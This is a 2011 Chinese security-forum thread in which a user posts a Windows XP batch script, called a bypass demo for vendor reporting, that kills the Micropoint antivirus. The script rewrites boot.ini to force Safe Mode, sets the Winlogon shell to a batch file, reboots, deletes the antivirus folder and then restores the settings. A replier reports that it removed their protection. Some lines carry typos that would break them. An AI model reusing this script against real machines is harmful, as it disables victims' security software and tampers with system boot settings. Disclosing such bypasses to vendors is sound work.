★★★刚做的一个挂微点的DEMO,在XP下生效

显示全部楼层 · 发表于 2011-9-3 00:29:27

本帖最后由李白vs苏轼于 2011-9-3 17:00 编辑

版主这个不是毒,是我自己做的一个Bypass的demo
请尽快反馈给微点官方,

仅在xp下生效,微点默认安装c盘
演示而已

利用点:
1.boot.ini
2.shell

微点扫描安全

DEMO如下

此文件会强行删除微点和自动重启电脑，请大家谨慎测试没虚拟机请勿双击文件

原理如下:

start mshta vbscript:CreateObject("Wscript.Shell").popup("微点3秒后挂，仅用于演示",3,"李白vs苏轼提示",64)(window.close)
attrib -h -r -s %systemdrive%\boot.ini
del %systemdrive%\boot.ini
echo [boot loader]>>%systemdirve%\boot.ini
echo default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS>>%systemdirve%\boot.ini
echo [operating systems]>>%systemdirve%\boot.ini
echo multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /safeboot:minimal /sos /bootlog /noguiboot>>%systemdrive%\boot.ini
BOOTCFG /Timeout 3
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v shell /t reg_sz /d "c:\1.bat" /f
shutdown -r -t 0

复制代码

rmdir /s/q "C:\Program Files\Micropoint"
attrib -h -r -s %systemdrive%\boot.ini
del %systemdrive%\boot.ini
echo [boot loader]>> %systemdirve%\boot.ini
echo default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS>> %systemdirve%\boot.ini
echo [operating systems]>> %systemdirve%\boot.ini
eho multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect>>%systemdirve%\boot.ini
BOOTCFG /Timeout 0
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v shell /t reg_sz /d "explorer.exe" /f
shutdown -r -t 0

复制代码

内容由麻辣豆腐代为修改

显示全部楼层 · 发表于 2011-9-3 00:31:43

希望某同学以积极的态度向官方反应来解决问题，而不是一关了事~

显示全部楼层 · 发表于 2011-9-3 10:46:53

本帖最后由 softkiller 于 2011-9-3 10:46 编辑

建议放到样本区

显示全部楼层 · 发表于 2011-9-3 11:26:31

微点毕竟不是毛豆！

显示全部楼层 · 发表于 2011-9-3 11:28:21

本帖最后由李白vs苏轼于 2011-9-3 11:28 编辑

softkiller 发表于 2011-9-3 10:46
建议放到样本区

不是毒,,,,放样本区让谁扫啊

显示全部楼层 · 发表于 2011-9-3 11:38:49

李白又折腾了...

显示全部楼层 · 发表于 2011-9-3 12:07:50

已经反馈感谢支持

显示全部楼层 · 发表于 2011-9-3 12:09:02

本帖最后由 33419 于 2011-9-3 12:13 编辑

楼主为什么就不做个挂毛豆的呢！

显示全部楼层 · 发表于 2011-9-3 13:50:00

本帖最后由麻辣豆腐于 2011-9-3 14:38 编辑

试了后，双击提示3秒然后把我的爱机自动重启安全模式，好不容易到桌面后我的微点也强行被删除了

我理解为这是你做的专门卸载微点和重启的一个批处理对吗，批处理到底是不是毒？至少已经把我的微点强行删除了，和自动重启

显示全部楼层 · 发表于 2011-9-3 14:59:12

本帖最后由李白vs苏轼于 2011-9-3 15:00 编辑

麻辣豆腐发表于 2011-9-3 13:50
试了后，双击提示3秒然后把我的爱机自动重启安全模式，好不容易到桌面后我的微点也强行被删除了

我理解为 ...

只是清空了一下文件夹///呵呵
没清注册表,驱动,服务

只是对于防御点不足的bug的演示

不是毒

[微点] ★★★刚做的一个挂微点的DEMO,在XP下生效

本帖子中包含更多资源

评分